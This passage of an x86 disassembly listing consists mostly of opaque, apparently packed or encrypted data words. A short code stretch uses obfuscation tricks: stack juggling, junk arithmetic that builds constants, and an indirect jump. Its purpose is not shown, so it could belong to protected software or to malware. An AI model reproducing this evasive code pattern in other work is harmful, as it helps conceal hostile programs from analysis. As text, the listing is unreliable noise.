26A6E3B0h, 882ECCDAh dd 0A7694D07h, 0FF14C1F7h, 82E8149Fh, 0B3FFE6C6h, 0D764012Bh dd 25000DA7h, 0A248B1EDh, 58986721h, 0E6F9D93Ch, 8AE07FFh dd 75050038h, 679E38h, 0A72F0000h, 5BB60B6Ch, 238FB843h dd 0FFE683C0h, 9F0E7CE6h, 27BAD351h, 7ACA55BEh, 0D99B9650h dd 0FD127DFAh, 84ED16A1h, 77056ADEh, 0AA32FFE7h, 76EB4E6Ah dd 8419FFE7h, 0FFA50E90h, 85BDC47Eh, 23387583h, 1, 0F76BA7B4h dd 921D8618h, 2EB9E52Dh, 0CD5846C9h, 9D813B74h, 7B23ED75h dd 285EC7F0h, 0D006987Bh, 0A967BC19h, 6FA24FF5h, 0D33FA42Fh dd 0F32440CBh, 0A6BC5539h, 94CA336Bh, 2F4B2CE7h, 0FFE683CCh dd 832C8FABh, 15AFFE6h, 0B8E62BC0h, 329B042Dh, 0CBD342A7h dd 0E09A1B40h, 837DE711h, 1F1ECBC0h, 1E61A979h, 6CFF3875h dd 90000000h, 0FD607CBCh, 23FFE682h, 0B1ED25CAh, 0EBB35E0Bh dd 841AFB60h, 3598B4F4h, 5BFFE683h, 70C95C02h, 78997D37h dd 358F026h, 0DD06910Dh, 17878A37h, 0B6E8278Ch, 0CB85062Bh dd 74897CC4h, 511A38h, 75CA0000h, 4F78039Bh, 6AA7F2A9h dd 8E7A4B23h, 319A9B46h, 0CFCF41A6h, 5BF0044h, 78AEF021h dd 2184A0E0h, 4FFFE694h, 0BC9950F6h, 82FD607Ch, 0CA23FFE6h dd 39B7724h, 82E64C78h, 0A617FFE6h, 8FADE5ECh, 84B3874h dd 0FB000000h, 0AA3569A6h, 0A724DB81h, 55A5306Eh, 38E1000h dd 8C8734DAh, 0CCF58712h, 0B7E72E12h, 0F7692081h, 99ED4B67h dd 0C01907E0h, 5B43D035h, 39B7825h, 0C144973h, 0F9D5B657h dd 349B9058h, 791F8864h, 5D55BAE6h, 0FB3C07E1h, 0E8B65D41h dd 0CBAE2E58h, 0DB1B9F1h, 977C2967h, 0FC177C07h, 0CAFB17A2h dd 0B7E72C10h, 613DD227h, 75AD7DBBh, 5C406EB7h, 7E073B32h dd 0BE4ED4FAh, 0E0CE3FA2h, 660C6507h, 13785h, 96F31600h dd 0C81E3ACAh, 0D607E0B8h, 44CFCF41h, 0D727B21Bh, 670D9182h dd 0F4559BAh, 0C7DCB162h, 55DD0A11h, 18868C31h, 54BF24AFh dd 0F89D010Eh, 0D1FA8519h, 90C1DD68h, 7D21F2D6h, 0B75AAF47h dd 397141E7h, 0D7406F5Bh, 52h, 0C69AF368h, 83971A36h, 0E43D7FE6h dd 95F81454h, 0BB7FE682h, 0FD29BC62h, 7FE6829Ah, 0FC944E77h dd 747D791h, 4A4B07DDh, 0EBA76564h, 18C53F79h, 48C76CDFh dd 0B93CB056h, 27FFE5D8h, 28E93ECEh, 48C2EB76h, 0B2656E3h dd 7BB95FBAh, 9B94h, 96F32D00h, 0B41E3ACAh, 3207E09Ah dd 0C029759Dh, 2D35DB30h, 52EB9E5h, 67AC119Ch, 1A83AC37h dd 990B6E8Ah, 0E03907E0h, 0D142A73Ah, 29EA97CDh, 459AEA75h dd 0A44CFCFh, 0C1723D2Fh, 6AC1525h, 0E1202A92h, 7E387907h dd 0EF25799Ah, 910D0257h, 0D637DD06h, 11DADB3h, 0FE0AAD0h dd 4DB23D96h, 0BB4DD8C6h, 6441517Bh, 0A63C5284h, 2DC57F00h dd 5874045Ch, 7EBC027h, 1F829EDEh, 0C07E0BCh, 2C8AF647h dd 0E63F8093h, 42CDD141h, 0D12A7319h, 82E50141h, 0B007E08Ch dd 0BC73B157h, 3ACA96F3h, 0E60EED1Eh, 0F37EA807h, 741E36F8h dd 2A83CC72h, 0F30F4F9Fh, 7E66D90h, 0EEE35DB6h, 0B63D3126h dd 0D53EEB91h, 2DE693C9h, 77BAE671h, 5594A45h, 0E52E12CCh dd 3DD683B9h, 9E71D661h, 0A3E37500h, 3CE44763h, 0B9125682h dd 0F4D89213h, 0FC18581Fh, 56823D99h, 9F026EC7h, 0C556823Dh dd 20CD036Ch, 8120ABF3h, 1Ch, 7ADDF939h, 0A856823Dh, 37A0FE13h dd 7BBBDA91h, 27B2EC26h, 0E2BC59FEh, 0D1882E57h, 0A42F6FA7h dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 0E2895252h, 4C281h dd 0EA830000h, 24148704h, 2434895Ch, 7B2368h, 24048900h dd 81E18951h, 4C1h, 4E98300h, 5C240C87h, 52243C89h, 9308A068h dd 24148B36h, 4C481h, 0EA810000h, 18000C4h, 4172EA81h dd 0E281237Dh, 2423234Eh, 76E8EA81h, 0D089F801h, 3C8B545Ah dd 4C48324h, 0FBB5352h, 0BA52912Fh, 52912F07h, 15BDA31h dd 5A0289FAh, 5F2434FFh, 4C481h, 34FF0000h, 0C4835824h dd 0EE6AE904h, 90E3FFFAh, 9000B854h, 0C50307FFh, 4920E0FFh dd 37AE40FFh, 0BC3F19C1h, 2EB81343h, 51302E47h, 35FC7013h dd 0D8753555h, 8BF3534Eh, 596B5CEFh, 5EC45E39h, 8E8B3D2Eh dd 0A9535966h, 0F5A75C99h, 11DF2A35h, 0B7D29E1h, 0B72736F6h dd 0E6A85854h, 93A207BAh, 0A37C7D7Eh, 311C6A3Ah, 0B6BB6065h dd 0D45E33C0h, 0F4670AD5h, 16187619h, 0B8A432Bh, 12E848F5h dd 0D4000000h, 0EA7F2113h, 0E8ECEB3Dh, 0A7B25229h, 0CB1E7C84h dd 0BE91Ah, 7F00000h, 4F320050h, 871EE066h, 11E85B6Ch dd 59000000h, 61843AB8h, 0C41DC173h, 4BA940D5h, 0E40D375Eh dd 5850Fh, 5BBA0000h, 5A718ECBh, 5CF7C381h, 81510000h dd 0A33B17D6h, 0FAB95A6Ch, 0F000016h, 1784h, 0FE800h, 0C4530000h dd 51675D33h, 7B8BC36h, 23EB028h, 5E585240h, 6E833FFh dd 0A7000000h, 8CE7AB9Dh, 1CEA8189h, 5E22C2D6h, 902FBE5Fh dd 0C7812606h, 6CC7143Dh, 9949C781h, 8A0F5D55h, 5, 0B95984BEh dd 0C1C78105h, 0F4444B5h, 8Ah, 603B8900h, 8E1BE66h, 8E9h dd 652E2700h, 0C29642C7h, 0EB8161DDh, 7848ABD3h, 13E8h dd 58C5C200h, 4F285CF3h, 1D74245Ch, 0AFF9EF59h, 5F096A80h dd 315ED281h, 815A7839h, 48ABCFC3h, 81665378h, 5A5497CEh dd 75850F49h, 0E9FFFFFFh, 0Eh, 0DA140991h, 3500499Ah, 0B748CFB6h dd 9D8D0A94h, 7FA17D9h, 0CEB8h, 0CD858900h, 0E807FA14h dd 0 dd 0D0558h, 3890000h, 0CEE9h, 0F2000000h, 32h dup(0F2000076h) dd 0EBFFFF76h, 60h, 17h dup(0) dd 0AD8E900h, 0CCE90000h, 6800000Ah, 7FF9AD7h, 0FAEB7BE9h dd 9C1368FFh, 71E907FFh, 68FFFAEBh, 7FF9C66h, 0FAEB67E9h dd 0BBE333FFh, 643AD885h, 0A94812Eh, 0B6E827D4h, 603ED380h dd 5A41F62Ah, 4B1E7B7h, 0AB588E10h, 56033965h, 0DCABE1BDh dd 16056884h, 0C52B07E6h, 0A6DA70Eh, 0E6838BEEh, 0F760B9FFh dd 0AF04546Ch, 8AB33E60h, 0C1DD37E4h, 2D35DE8Bh, 22BB6E8h dd 67A90E99h, 0CD47AC37h, 30E146D1h, 937EE36Eh, 0F41B800Bh dd 5BBA1FAAh, 0BF53B843h, 4E3B54DFh, 0F65F3FD6h, 15EB4A66h dd 841907E6h, 5C85108Eh, 40E63F3h, 8B03649Ah, 0CA2945D5h dd 0F807E616h, 64AF149Fh, 0BF55AA3Ah, 44FB39DFh, 0F1AD67BCh dd 29759E4Bh, 0D1CD4499h, 71C1742Bh, 0FFA5F91Ch, 0C799F348h dd 845F1618h, 3774833Ch, 2CDAh, 0E0358A00h, 640A33BEh dd 0C799F3ADh, 3DA0BC18h, 63FFE683h, 5DBC5B0Ah, 84336BA7h dd 0E11692BCh, 0F3929F59h, 6D43A24Dh, 3Fh, 0C799F306h dd 527CBC18h, 394037FDh, 0BE218D3Dh, 0E4FFE736h, 314DE58Bh dd 0FFE736CEh, 0DEC050A5h, 19842A53h, 0E64F4FC4h, 8A140156h dd 7930D6FFh, 6BA75DBCh, 0E5C1A222h, 0E64F26FBh, 0F34AA937h dd 1E3ACA96h, 7E0A07Ch, 1A46D12Ah, 7E09FB3h, 0B3823CBDh dd 9EF45773h, 0C92207E0h, 0AB1B5323h, 62B9406Eh, 4A000001h dd 35C59BF3h, 0E683BE19h, 0D24095FFh, 731841CCh, 4972FDA1h dd 71015AA3h, 0BEB67B47h, 46EC1798h, 20E63B3h, 42E8119Ch dd 90207E95h, 11D13450h, 0A6FFFFE7h, 0BC0BC200h, 4FF5A967h dd 9D2D71A2h, 0C1647E73h, 761CDBC8h, 0F352C1BFh, 1618C799h dd 833C845Fh, 41DA3774h, 6B000000h, 18C799F3h, 833DA0BCh dd 0A63FFE6h, 527CBC5Bh, 0A8C6449h, 1B85E8Fh, 1EF76BA7h dd 0A9681780h, 456D4Ah, 0FB250000h, 0E87EDA3Bh, 96F915EBh dd 0BCFFE6E5h, 4E6AFA63h, 0FFE6E4EBh, 631AC019h, 18C799F3h dd 833DA0BCh, 2841FFE6h, 0BC5DBC79h, 4BF1AD67h, 7B2A749Eh dd 993692BCh, 91E44763h, 0B912FFE6h, 2CA8D83Fh, 0F37CDB86h dd 1935C59Bh, 0FFE683C2h, 0F98B5781h, 0E9AA95CEh, 16A1FA43h dd 0AC3C62B1h, 57E2BC57h, 934A882Eh, 83326CA7h, 0F1AD67BCh dd 0F349B84Bh, 2276A099h, 2C0F659Dh, 2594F763h, 69C2FFE7h dd 5F165100h, 0F4AA67BCh, 83367E4Eh, 28D43774h, 65000000h dd 18C799F3h, 0EE277CBCh, 1A5A36B0h, 0C453709Dh, 4C47AA1Eh dd 146DFFE7h, 0A75DBC65h, 0A984336Bh, 1D6D4Ah, 0F3060000h dd 0BC18C799h, 6BF6A867h, 0E8049C42h, 0FFE68385h, 0BCC17089h dd 336BA75Dh, 6D4AA984h, 0B5h, 0C59BF306h, 83BE1935h, 8BE4FFE6h dd 0B571D1FBh, 0CD7579B4h, 0E42F9427h, 97EC84BAh, 0C37A207Eh dd 83326CA7h, 99F352C1h, 5F1618C7h, 74833C84h, 0C7E32337h dd 0FCE68364h, 0B2933992h, 51h, 0A099F343h, 0E6832184h dd 8DF64FFFh, 3DA0BCDEh, 14FFE683h, 0BF4A54BFh, 27A7F096h dd 0D45F3FD2h, 83DC3FABh, 750AFFE6h, 4A73FEA0h, 93E878E1h dd 0C0771D81h, 6BA75DBCh, 0C24EA333h, 0A97F36DCh, 2F6D4Ah dd 0E5250000h, 0E68366C9h, 8D338CFFh, 0C799F3D6h, 0AC67BC18h dd 834CAFCBh, 217AFFE6h, 5E042DB8h, 8347AAC6h, 324BFFE6h dd 0A75DBC83h, 0A984336Bh, 0AC67BC4Ah, 749F4CF2h, 0D63A9F2Ah dd 2EE592C8h, 54B9E570h, 0F1FFE683h, 4ED587B1h, 17B23EDh dd 0DA808F2Ch, 58BB9F59h, 2284090Ah, 37A6518h, 6CFC65CEh dd 4C260942h, 0E98F613Bh, 51BE13ABh, 19FAA74Dh, 0C69FA85h dd 16A1FD16h, 0FB1760B1h, 0FFE75A98h, 71FC65BEh, 9B6A2455h dd 0E75A1C7Fh, 88F14AFFh, 0A55B8505h, 61B4E831h, 27E16208h dd 98CED043h, 7E0E5237h, 0E177C062h, 28DE607h, 8AF688B2h dd 0B74A6339h, 43369D11h, 0BF4007E1h, 4FC6FE05h, 58AD406Fh dd 5A3BE1BDh, 2Ch, 326CA7EBh, 83187BA7h, 84ADFFE6h, 352DE6CAh dd 0B34BFDFh, 71E812A2h, 63E6B40Eh, 0FE8915FEh, 88C66CD5h dd 2A749BF0h, 19D0769Fh, 0A7326CA7h, 0D565FB8Eh, 0E616AEB9h dd 719F3407h, 2D8EC42Dh, 5874045Ch, 0FE032B6h, 9F5572DCh dd 0DF898B98h, 48BCE676h, 7C778B7Ch, 669225CBh, 0FFEC74FFh dd 12477109h, 0C74555C3h, 811DF499h, 0A627CDF6h, 0CCADE5ECh dd 384B3879h, 0DC000000h, 35C59BF3h, 0E683C619h, 0EB287DFFh dd 4FC328B3h, 0F740E64Fh, 57B90E9Eh, 83A10420h, 76CFFFE6h dd 0B359820Dh, 284FC61Bh, 0E683A90Ch, 157ED7FFh, 1BF8DFh dd 0F3910000h, 1935C59Bh, 0FFE683C2h, 92E777D0h, 618B1B83h dd 311050CDh, 0A1DF85E9h, 1B46DEAh, 0E5250000h, 0E68366C9h dd 8D338CFFh, 0C49CF3D6h, 0BC52C115h, 82FD607Ch, 0CA23FFE6h dd 29C7724h, 845F1653h, 3774833Ch, 53DAh, 67BC6B00h, 3F68F3ABh dd 833093AFh, 0FD56FFE6h, 0CF99F657h, 3DA0BC20h, 63FFE683h dd 0D05B43CEh, 84AE3EA7h, 0BCB1936Eh, 8E77FFB2h, 2DDCD9BAh dd 0BC671EC4h, 0AB67BC5Dh, 75A04DF3h, 0CF449929h, 0A97229CFh dd 7AA83F69h, 0DF928BEBh, 3A6D8239h, 6000000h, 15C49CF3h dd 833DA0BCh, 1741FFE6h, 0AC013CBEh, 504EC40Eh, 0CA339CC5h dd 0BDDB103Ah, 0BDE7691Eh, 7CBC6017h, 20A0ED27h, 0DA7963C1h dd 56BF64CDh, 0A7EBA248h, 0A981306Eh, 607CBC4Ah, 0FFE682FDh dd 7724CA23h, 0BC53029Ch, 0FB47B892h, 0B3594905h, 99F3B120h dd 30E237C7h, 1611C86Eh, 833C845Fh, 62DA3774h, 6B000000h dd 0B5F392BCh, 9940A0Bh, 419166E0h, 0CF3866A9h, 0A2C4C829h dd 3DA0BCF3h, 63FFE683h, 1E3A7A0Ah, 0FFE683BBh, 33EA90E9h dd 7C527CBCh, 3F58BFBBh, 81012D9Bh, 2F1AE07h, 92BCA55Ch dd 2A0F43CCh, 2BD87EDCh, 5997BE7h, 0B0CC0C9Ch, 0FFE6D54Dh dd 0A0751A73h, 0A44A73FEh, 6D4AA9EDh, 43h, 0C799F306h dd 3DA0BC18h, 41FFE683h, 92BC7928h, 0B29A3A57h, 5648CAF7h dd 9339A2CBh, 7CBC9CFBh, 0E682FD60h, 3ACA23FFh, 0E683BB1Eh dd 0EA90E9FFh, 1AC9D53Dh, 0D2969A9h, 0FFE683AAh, 35DA7FD8h dd 0A70CC369h, 50A53569h, 2851DCC2h, 5F9FEF82h, 0E683E043h dd 7AD06FFh, 0E6832D93h, 0CAF43CFFh, 62649C21h, 8F10B677h dd 7F1FF1D5h, 69A79249h, 838FF20Eh, 147CFFE6h, 815A57B5h dd 3DD86DAEh, 44ADD661h, 0C52E709Fh, 76D9F535h, 4DFFE77Ah dd 0E77ACE31h, 5A9BF4FFh, 78C85B01h, 24AFEF23h, 7A55B8D4h dd 227BFFE7h, 0AA6613B9h, 1C4D69F4h, 0E5927E62h, 0E77A66C9h dd 1CF78CFFh, 7AB01982h, 0E784E006h, 81D666FFh, 57800B93h dd 88A6E1B1h, 0EE463875h, 0D7FFFFFDh, 0E68379E0h, 83957CFFh dd 3498FFE6h, 37FFE683h, 0FFE683D0h, 0E6836CD3h, 83086FFFh dd 6B1EBFE6h, 0E52565F5h, 0E68366C9h, 8D338CBFh, 0E3A85519h dd 9D2881C7h, 0CB5B0584h, 2945618Bh, 65771188h, 0A1014BBFh dd 0CC25CFDEh, 99E4360Eh, 3DDC1759h, 294h, 0D006987Eh dd 79AFEF23h, 1F5549CCh, 0CB019D72h, 75ABF31Eh, 6EA38C41h dd 0C74DFA30h, 1CF4A1D7h, 749F4C82h, 0CD25F42Ah, 0E61D4EB1h dd 570E7407h, 0A7326CA7h, 0D565FB8Eh, 0E616AAB9h, 0A9DF3807h dd 0E616CE35h, 0BBA5E407h, 0A9AC0F2Bh, 81DA0FE5h, 28769CF1h dd 7E95EA82h, 837ADDF9h, 0CF44FFE6h, 16F98ECFh, 6BD4FD88h dd 0F41FCC02h, 8FCF1FAAh, 84E54165h, 2591A43Dh, 0FFE69DC2h dd 7DF197F0h, 0FFE69D1Eh, 6BFB6524h, 6CCFEB2Bh dd 9AFFE69Dh, 20279B41h, 8E07E631h, 0C350A535h, 1BF8A5DBh dd 0AADFF883h, 0FF0A26B6h, 0A50FE59Fh, 0E1A8C14Ch, 7B9AEF7Fh dd 9D7DE0FCh, 4AA3FFE6h, 8E1C56E1h, 4BBDD1F9h, 6A02A811h dd 0E6D7EF4Eh, 24B40D07h, 0E2139FFAh, 6A1051BCh, 0E1967DD2h dd 0E64B62C5h, 0CE379007h, 732BE93Eh, 0C9283E8h, 12BFFDA3h dd 0F75A7601h, 1D07E64Ah, 67D84AC4h, 5F470B1Bh, 943C66F6h dd 3123D7AAh, 123ED177h, 7E644ABh, 898C8C1h, 0E5D3DDECh dd 4682AC0Fh, 9F83890Bh, 8FE831D7h, 0C29EEB04h, 0C7101632h dd 65BE07E0h, 640385A7h, 0CC6BA69Eh, 158h, 0C425CBAh, 0B5EBB35Fh dd 5B910D08h, 73D61AEh, 0B1E7B75Ah, 32DFC87Dh, 8B89366Ch dd 0E030DD13h, 38DB88BEh, 9613066h, 0E61F8AEDh, 9B52B807h dd 3ACA96F3h, 0E6170F1Eh, 0A9348D07h, 0D767F990h, 0E03801BBh dd 0CE8CE50Fh, 999B8A62h, 5E988C3h, 0D000001h, 0B25F9509h dd 5B083E60h, 1AEE4BAh, 0AD5A900Eh, 0D0043A64h, 0C1DD341Bh dd 6836DE8Bh, 138B8532h, 0BBE330DDh, 425EB685h, 7E61FDFh dd 0BCE89F05h, 4FF5A967h, 35C59BEEh, 0E6171219h, 0F61C7107h dd 4EF41DA8h, 0C71CAC05h, 1BAE544Ah, 0B415DB6h, 5EE9B55Eh dd 8C1C4445h, 0E5A90D70h, 5EB3330Fh, 355EE9B5h, 0E68366C9h dd 8E338CFFh, 7CB21B83h, 255B43CFh, 0CE314D8Dh, 0F4FFE683h dd 0CD48F59Bh, 21EE9BD1h, 83D73A56h, 0A4FDFFE6h, 2D6D053Bh dd 0E683AE11h, 3854D4FFh, 0FFE683D5h, 9339A2FBh, 3D732BE6h dd 0DBC350A5h, 0D4812750h, 7E2B613Dh, 25D20896h, 0D07DB3EBh dd 8D255B43h, 1CC2DC38h, 0C3F9A56Fh, 0A9392762h, 0AA0D2969h dd 74FFE683h, 65BEFF9Fh, 15E84BBFh, 95BF07E6h, 1E0F47CCh dd 0C6E2722Bh, 7E62463h, 49923891h, 130065F0h, 0D6E558Bh dd 7000000h, 0FD607CBCh, 23FFE682h, 2C8B24CAh, 0A42F6FA7h dd 3FCAD43Fh, 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh dd 50DBC34Ch, 0E9742AEBh, 85108E84h, 32D76852h, 2C890000h dd 81E58924h, 4C5h, 4ED8300h, 5C242C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp push 782Eh mov [esp], ebx push esi mov esi, 76587DADh shl esi, 2 neg esi add esi, 70B0271Ah push edi mov edi, 3462798Ch neg edi neg edi inc edi or edi, 4112035Dh xor edi, 0FA3CE707h sub esi, edi pop edi mov ebp, esi pop esi sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx push 6AA1h mov [esp], eax mov eax, 8 add eax, ebx mov [eax], ebp pop eax push dword ptr [esp] pop ebx add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_58B334 ; --------------------------------------------------------------------------- db 6Bh, 0F4h, 0E5h dd 6118E456h, 101DB53Fh, 0B8B1DE5Fh, 7FF9D90h, 0C38BC503h dd 7E8h, 0FE984900h, 795746E0h, 0CE9h, 5B14D800h, 247E523Dh dd 224E067Eh, 0C38B59E3h, 74C7C181h, 0F2800000h, 0E352BBC4h dd 0F38112CEh, 12CEFE54h, 11E9h, 2B228600h, 0B8FF28ECh dd 329E8770h, 5C16E28Dh, 31FF167Dh, 89EE8160h, 6659D679h dd 0E551C281h, 10E95F61h, 41000000h, 9C3287D4h, 5F4BB8C0h dd 242BBAA3h, 81A29F55h, 0D03979C7h, 6E94Bh, 15D90000h dd 9F3B3AC9h, 484CEF81h, 0EF816F9Fh, 69684DD0h, 3800Fh dd 0B70F0000h, 663989F0h, 0E983D38Bh, 28B0F03h, 0B6000000h dd 0D1B64911h, 9B850F4Bh, 0FFFFFFFh, 383h, 0D08B6600h dd 143E9h, 0B58DF500h, 7FF9F7Eh, 0E2858DF8h, 6A07FD7Dh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 4806C357h, 1860FB4h, 0F8000000h, 6AD0FFh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 41726DC3h, 81500EDDh, 6AC390B4h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0A59EC357h dd 165CC1D0h, 66326226h, 6AD98Ch, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0A30D64C3h, 816660A0h dd 0B77161D2h, 0C1F661F6h, 4B840F04h, 0F5000000h, 0C8D0Fh dd 840F0000h, 6, 8F0Fh, 0FB8B0000h, 0C032CB8Bh, 2BFD75AEh dd 2BD9F7CFh, 49D78BF9h, 0EBD98Bh, 13F20CDh, 0C00B0001h dd 708D1874h, 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1, 8B09EBh dd 0B8E4EBh, 0CF000000h, 15850Fh, 890F0000h, 0Fh, 0AE9h dd 571BB500h, 4A4F6674h, 0E90C142Bh, 0Eh, 0E6C6404Ch, 3FB4462Fh dd 0CF62056Eh, 0DE94D44h, 0B9000000h, 0F1347129h, 91C4190Bh dd 0DF03949Eh, 9FDD85C7h, 13F07FFh, 8D8D0001h, 7FFA101h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 8C35343h dd 89D7BF0Fh, 0FA1CD98Dh, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 0C040F637h dd 29703A7Ch, 6DBD29h, 85C707FAh, 7FA31ADh, 5E58h, 14B99531h dd 85C707FAh, 7FA2BD9h, 0 dd 0CE34BF66h, 2EA9B5FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0C5C72EC3h, 0CB6EAD0Bh dd 95BD89CAh, 0FF07FA33h, 0FA179995h, 0E5850B07h, 6A07FA29h dd 1995FF00h, 8B07FA10h, 0C06EEBC0h, 826DA65Dh, 39468A1Bh dd 450697FEh, 79F64E12h, 3E140D67h, 0E182B9Eh, 0F16E765h dd 6FFEC162h, 0C541CA27h, 3C8501C5h, 0C13CEEA6h, 0A9F39310h dd 1E5E4074h, 5BF1E435h, 0AA0EA38h, 380EF58Eh, 0A91EAAA7h dd 976F6E89h, 6C4E0841h, 676130F3h, 0F0683665h, 0D3D6DD99h dd 86183391h, 0E75F6FE6h, 3D706EF0h, 5D372EA9h, 0F87DB603h dd 11E879h, 0CCFF0000h, 333A91A8h, 7C64CCFBh, 0C7BE2E7Eh dd 60DCE1D5h, 0EE8h, 7BB15F00h, 0E73F0334h, 0C2A45910h dd 0E9EB0C53h, 11h, 0DEB1C8Ch, 0CC9BF650h, 43C8384h, 23CE08C1h dd 5B615BE5h, 619589h, 0C38107FAh, 6890h, 68F58Ah, 8B000000h dd 0B58B59D7h, 7FA17A9h, 0B00B3C8Bh, 2FF781CDh, 31666BF2h dd 0FA33E185h, 4CC78107h, 8B3EE32Ah, 0FA3229B5h, 2EC78107h dd 0FC0B84B3h, 660B3C89h, 6DC7CE81h, 0E7C68166h, 8E98174h dd 0B68B2D3h, 0FA0EE995h, 4C18107h, 0BE68B2D3h, 5F72C378h dd 9820F981h, 850FFFFFh, 0FFFFFFACh, 0E658533h, 8D8D07FAh dd 7FFA310h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 14h, 0E7C35545h, 208DBD8Bh, 8D8907FAh, 7FA1CD9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 45C35040h, 0F5637705h dd 2948FC1h, 0AD85C72Eh, 407FA31h, 6A00005Eh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0C76BC357h, 34C53638h, 0F84396E5h, 2BD985C7h, 7FAh dd 0BA660000h, 0B5FFC575h, 7FA243Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0AAC35646h, 12E862h, 5B770000h dd 7336FE76h, 5B2CFE2Ch, 3B01E315h, 4A602DCh, 2F99BD03h dd 0FF5A07FAh, 0FA179995h, 43F8B807h, 6A5084h, 101995FFh dd 0C08B07FAh, 5CD25BEBh, 0F2827AD9h, 63B8281Fh, 0F7E443C4h dd 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 6F37E015h, 56A1F6E6h dd 92A91B8h, 3FFF91Fh, 9F653618h, 0EF9932B2h, 4B9916B9h dd 56B3996Eh, 0B29CE40Ah, 0B4787401h, 65E55DB9h, 12DA9C4Ch dd 9E29BC7Dh, 8D18C0BCh, 0B61883C0h, 0CF15AFB4h, 2CE9B1h dd 4E5A0000h, 5433h, 9 dup(0) dd 4AE90000h, 4D000005h, 0F29FD5C9h, 9B487E20h, 41EE247Ah dd 0ED9AD0CEh, 10447A24h, 19D745Bh, 0A8F61ECBh, 534BC572h dd 0FBA3701Dh, 829EF6C5h, 7E6261Fh, 0A728DF45h, 1CD0216Ch dd 6BF21713h, 0FF127702h, 57BC699Fh, 0E99050Bh, 0C2EC7CE5h dd 0C40C8CC9h, 6737DC02h, 60C558FEh, 0FB60EBB3h, 0A3FC8717h dd 0A952953h, 33F206D8h, 0E6EBB417h, 2089E2FFh, 703FF97Ah dd 1EA9F51Bh, 71A24FF5h, 0C64AF72Dh, 1BF5A2D8h, 8193F883h dd 0D700921Dh, 8BD7391Dh, 73D6F285h, 0A1FFE6EBh, 4076DF48h dd 8E1E8093h, 1CC2DC39h, 0EAF75D89h, 0B526FFE6h, 0F7BCF4FBh dd 695A3874h, 0EB000000h, 0A7326CA7h, 0E683167Bh, 18D243FFh dd 8591F49h, 0D2037E9Ch, 8245C2Ch, 1C23875h, 53000000h dd 1DF76BA7h, 3D8D1881h, 5BAF1813h, 0D177F923h, 25B0EE24h dd 0FD134FC0h, 84ED16A1h, 0AD67A0F9h, 1F829EDEh, 45FFE6F2h dd 799946ECh, 0D142EF25h, 99133DCDh, 5065DCB6h, 0A10A947Dh dd 0FB25BDFBh, 7DD51E92h, 742BD12Bh, 0A4346AA7h, 4ED9C54Fh dd 87EC7F25h, 6638D78Bh, 6938B2DBh, 5F1AC57h, 0F74CDC45h dd 0D1CD471Bh, 0EB41D46h, 0A0FE167Bh, 1265B015h, 0E6FF93F6h dd 0FF68C1FFh, 35EF3074h, 4600318Dh, 0AEF02277h, 0E8B65B08h dd 7F0E05B2h, 0B779A436h, 8520FA95h, 0C7BEFA74h, 0EF19A912h dd 631B6EEh, 21B45AD1h, 0BA4559BCh, 59E4BA55h, 0F37E20F4h dd 901B838Eh, 20DA0B67h, 0D8921378h, 74D089D1h, 31467038h dd 0CEE1741Eh, 37CAF424h, 73DCA288h, 62ECCDh, 0A77D0000h dd 59A9346Ah, 0EC920C04h, 38C8D63Fh, 0DC6C32E3h, 0E6835DC0h dd 842A83FFh, 1E4898F1h, 0A9DBAF98h, 0D657FD55h, 0C5D9381Ch dd 6F2FE28Fh, 0E907FE4h, 23DD5E83h, 7554D41Ch, 417238h dd 0BC030000h, 69F4AA67h, 24ED9A40h, 5F9FEF7Ah, 0E683E043h dd 7AD06FFh, 5DE8B65Ah, 3A1ED819h, 0DA91C7D7h, 0A8336BA7h dd 0E683167Ch, 1CD647FFh, 748EDD15h, 97B38h, 0D62B0000h dd 0B5E9273Bh, 0A7EFA64Ch, 40A5306Eh, 0D23FBAD3h, 0CB39B382h dd 0A3CC5747h, 141D13Ah, 0E73382E5h, 0F41BB0FFh, 8DF61FAAh dd 99C254E7h, 481AFBDFh, 0FC4CD7C7h, 0E7337DE0h, 0E14AA3FFh dd 55AA4278h, 3059E4BAh, 60298Ah, 49F65470h, 0ABD507E1h dd 0ACB9EF76h, 115A001Bh, 4BC82DB8h, 30851D53h, 0B34BFDFh dd 435BB865h, 0F33E68B8h, 6ADE364Ch, 0B3188C32h, 7D07E164h dd 167B0698h, 0D519A4FAh, 0AE32DA94h, 44CFB36Dh, 9C77245Ah dd 1127702h, 0AEF6129Dh, 3FE4BA59h, 163FCAD4h, 5135EF70h dd 0F74CDCC2h, 9DDB811Dh, 6F7095CDh, 1193340h, 0F3C40000h dd 0FA3ACA96h, 833B9EBAh, 0E05FFE6h, 7CF64F90h, 0D6AC7E69h dd 10842AE1h, 7E110BAh, 0DA3D5999h, 807E0F0h, 67C009AFh dd 29C77DCh, 0AAF41FCCh, 4559BA1Fh, 0B36D9EBAh, 245A44CFh dd 6EFC1C54h, 3FBA40h, 0F34B0000h, 0C36C69Ah, 971F61DCh dd 3F5BEB81h, 0FFE77BDCh, 730BB10Ah, 0E77AD457h, 1EA9027Fh dd 0E58A8FF2h, 813B647Fh, 2CBCA4E9h, 0D9643AD7h, 56720AB0h dd 0FFE589D3h, 8B72A801h, 93h, 